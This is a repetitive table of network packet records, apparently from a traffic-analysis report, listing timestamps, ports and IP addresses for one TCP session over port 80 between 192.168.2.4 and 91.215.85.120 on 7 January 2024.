Jan 7, 2024 05:29:23.697941065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.698020935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.698055029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.698137999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.698215008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.698249102 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.698400974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.698504925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.698540926 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.698657990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.698731899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.698765993 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.698810101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.698940992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.698975086 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.699044943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.699139118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.699178934 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.699258089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.699332952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.699368954 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.699426889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.699501991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.699536085 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.699656963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.699755907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.699790001 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.699820995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.699927092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.699961901 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.700047016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.700107098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.700141907 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.700198889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.700275898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.700309992 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.700567961 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.700655937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.700969934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.701056957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.701096058 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.703583956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.703970909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.704013109 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.704061985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.704142094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.704174995 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.704274893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.704346895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.704380989 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.704422951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.704541922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.704576015 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.704862118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.704919100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.704957962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.705027103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.705110073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.705143929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.705231905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.705394983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.705427885 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.705432892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.705495119 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.705528975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.705553055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.705590963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.705625057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.705646038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.705691099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.705723047 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.705759048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.705795050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.705825090 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.705835104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.705904007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.705955029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.705955982 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.706022024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.706053972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.706072092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.706142902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.706157923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.706176043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.706208944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.706243038 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.706314087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.706398964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.706430912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.706479073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.706526041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.706557035 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.706593990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.706650972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.706684113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.706726074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.706816912 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.706855059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.706995010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.707083941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.707143068 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.707422018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.707530022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.707566977 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.707612038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.707730055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.707762003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.707796097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.707948923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.707966089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.707978964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.707987070 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.708012104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.708014011 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.708120108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.708156109 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.708491087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.708564997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.708596945 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.708664894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.709238052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.709271908 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.709929943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.710052967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.710089922 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.710289955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.710474014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.710506916 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.710582972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.710712910 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.710746050 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.710774899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.711169958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.711205959 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.711267948 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.711494923 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.711646080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.711684942 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.712064028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.712138891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.712176085 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.712199926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.712234020 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.712271929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.712313890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.712395906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.712431908 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.712671995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.712784052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.712819099 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.712845087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.713041067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.713085890 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.713124990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.713202953 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.713238001 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.713283062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.713398933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.713434935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.713480949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.713537931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.713577032 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.713592052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.713654041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.713689089 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.713715076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.713795900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.713829994 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.713856936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.713913918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.713953972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.713990927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.714313030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.714353085 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.714643002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.714797020 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.714833975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.714840889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.715040922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.715090990 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.715138912 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.715277910 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.715320110 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.715476036 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.715682030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.715718985 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.715898037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.762870073 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.887960911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.888083935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.888176918 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.889733076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.889816046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.889856100 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.890582085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.890670061 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.890710115 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.890919924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.890986919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.891022921 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.891107082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.891190052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.891223907 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.891629934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.891715050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.891752958 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.891820908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.891918898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.891953945 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.891983986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.892076015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.892108917 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.892184019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.892280102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.892318010 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.892359972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.892461061 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.892498016 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.892528057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.892657995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.892693043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.893027067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.893147945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.893191099 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.893224955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.893301010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.893337965 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.893367052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.893482924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.893518925 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.893599987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.893718958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.893754959 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.893794060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.893949032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.893984079 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.893996000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.894144058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.894177914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.894203901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.894263983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.894298077 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.894366026 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.894442081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.894474983 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.894525051 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.894627094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.894659996 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.894706964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.894794941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.894829035 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.894947052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.895025969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.895061016 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.895164013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.895303011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.895340919 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.895409107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.895490885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.895529032 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.895665884 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.895778894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.895817041 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.895863056 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.895981073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.896020889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.896106005 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.896187067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.896220922 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.896322966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.896429062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.896464109 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.896564007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.896641970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.896678925 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.896744967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.896826982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.896863937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.896904945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.897033930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.897064924 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.897150040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.897332907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.897427082 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.897469997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.897552967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.897588015 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.897613049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.897718906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.897753000 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.897846937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.898499012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.898536921 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.898585081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.898777008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.898818970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.898888111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.899090052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.899147034 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.899190903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.899398088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.899435997 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.899513960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.899570942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.899607897 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.899610996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.900006056 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.900043964 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.900312901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.900410891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.900449038 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.900477886 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.900665998 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.900700092 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.900921106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.901092052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.901127100 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.901169062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.901254892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.901287079 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.901437998 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.901587009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.901618958 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.901684046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.901746988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.901777983 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.901815891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.901875973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.901909113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.901997089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.902271032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.902304888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.902440071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.902524948 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.902537107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.902558088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.902570963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.902595997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:23.902604103 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:23.902673960 CET	80	49735	91.215.85.120	192.168.2.4
